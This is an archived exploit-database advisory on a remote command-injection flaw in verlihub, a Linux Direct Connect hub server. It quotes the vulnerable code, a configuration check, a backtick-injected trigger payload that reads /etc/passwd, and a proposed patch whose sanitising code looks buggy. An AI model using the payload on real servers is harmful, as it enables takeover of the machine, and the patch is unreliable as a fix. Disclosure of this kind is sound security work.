verlihub <= 0.9.8d-RC2 - Remote Command Execution Vulnerability

2008-11-21T00:00:00
ID EDB-ID:7183
Type exploitdb
Reporter v4lkyrius
Modified 2008-11-21T00:00:00

Description

verlihub <= 0.9.8d-RC2 Remote Command Execution Vulnerability. CVE-2008-5705,CVE-2008-5706. Remote exploit for linux platform

                                        
                                            == verlihub &lt;=0.9.8d-RC2 remote r00t / command execution =======================
                                                             |     '       /   |
                                                             /__      ___ (   / 
                                                             \\--`-'-|`---\\ |  
                                                              |' _/   ` __/ /   
                                                              '._  V    ,--'    
                                                                 '_:_._/        

description:--------------------------------------------------------------------
  "Verlihub  is a Direct Connect protocol server; runs on Linux OS; written in
  C++."
    -- &lt;http://www.verlihub-project.org/&gt;

  Verlihub  does not sanitize user input passed to the shell via its "trigger"
  mechanism.  Furthermore, the Verlihub daemon can optionally be configured to
  run  as  root.  This allows for the arbitrary execution of commands by users
  connected  to  the  hub  and,  in  the  case  of the daemon running as root,
  complete commandeering of the machine.

    -- Code Listing: src/ctrigger.cpp : cTrigger::DoIt() -------------------    
      106  string command(buf);                                        :        
      107  filename = server.mConfigBaseDir;                          ,:        
      108  filename.append("/tmp/trigger.tmp");                    | /  \ |     
      109  command.append(" &gt; ");                                 \_\\  //_/    
      110  command.append(filename);                               .'/()\'.     
      111  cout &lt;&lt; command &lt;&lt; endl;                                 \\  //      
      112  system(command.c_str());
    ------------------------------------------------------------------------    

vulnerability check:------------------------------------------------------------
  # grep allow_exec /etc/verlihub/dbconfig
  allow_exec = 1

  or

  # grep allow_exec $HOME/.verlihub/dbconfig
  allow_exec = 1

exploit:------------------------------------------------------------------------
  1. Connect  to  a  hub  with  user  triggers  allowed  and  set up to accept
     arguments;
  2. Run a trigger with a specially crafted argument, e.g.:
       +&lt;trigger&gt; `cat /etc/passwd`
     where &lt;trigger&gt; is the name of the trigger.
  3. ...

patch:--------------------------------------------------------------------------
  $ diff src/ctrigger.cpp src/ctrigger.cpp.new
  9a10
  &gt; #include &lt;stdio.h&gt;
  19a21,33
  &gt; void strip( char * str, char c )
  &gt; {
  &gt;     char * p1 = str;
  &gt;     while ( *p1++ )
  &gt;         if( *p1 == c )
  &gt;         {
  &gt;             char * p2 = p1;
  &gt;             while( *p2 && *p2 == c ) { ++p2; }
  &gt;             if(*p2) { *p1 = *p2; *p2 = c; }
  &gt;             else { *p1 = '\0'; break; }
  &gt;         }
  &gt; }
  &gt;
  107,114c121,145
  &lt;                               filename = server.mConfigBaseDir;
  &lt;                               filename.append("/tmp/trigger.tmp");
  &lt;                               command.append(" &gt; ");
  &lt;                               command.append(filename);
  &lt;                               cout &lt;&lt; command &lt;&lt; endl;
  &lt;                               system(command.c_str());
  &lt;                               buf = "";
  &lt;                               if (!LoadFileInString(filename,buf)) return 0;
  ---
  &gt;                                 char buffer[ 1024 ];
  &gt;                                 FILE * stream;
  &gt;                                 buf = "";
  &gt;                                 char * cmd = command.c_str();
  &gt;
  &gt;                                 strip( cmd, ';'  ); strip( cmd, '\"' );
  &gt;                                 strip( cmd, '\'' ); strip( cmd, '\\' );
  &gt;                                 strip( cmd, '`'  ); strip( cmd, ':'  );
  &gt;                                 strip( cmd, '!'  ); strip( cmd, '$'  );
  &gt;                                 strip( cmd, '{'  ); strip( cmd, '}'  );
  &gt;                                 strip( cmd, '['  ); strip( cmd, ']'  );
  &gt;                                 strip( cmd, '&'  ); strip( cmd, '&gt;'  );
  &gt;                                 strip( cmd, '&lt;'  ); strip( cmd, '|'  );
  &gt;                                 strip( cmd, '~'  ); strip( cmd, '/'  );
  &gt;
  &gt;                                 cout &lt;&lt; cmd &lt;&lt; endl;
  &gt;                                 stream = popen( cmd, "r" );
  &gt;                                 if ( stream == NULL )
  &gt;                                     perror( NULL );
  &gt;                                 else
  &gt;                                     while( fgets( buffer, 1024, stream )
  &gt;                                            != NULL )
  &gt;                                         buf.append( buffer );
  &gt;                                 if ( pclose( stream ) == -1 )
  &gt;                                     perror( NULL );

== eof ======================================== by v4lkyrius at gmail dot com ==

# milw0rm.com [2008-11-21]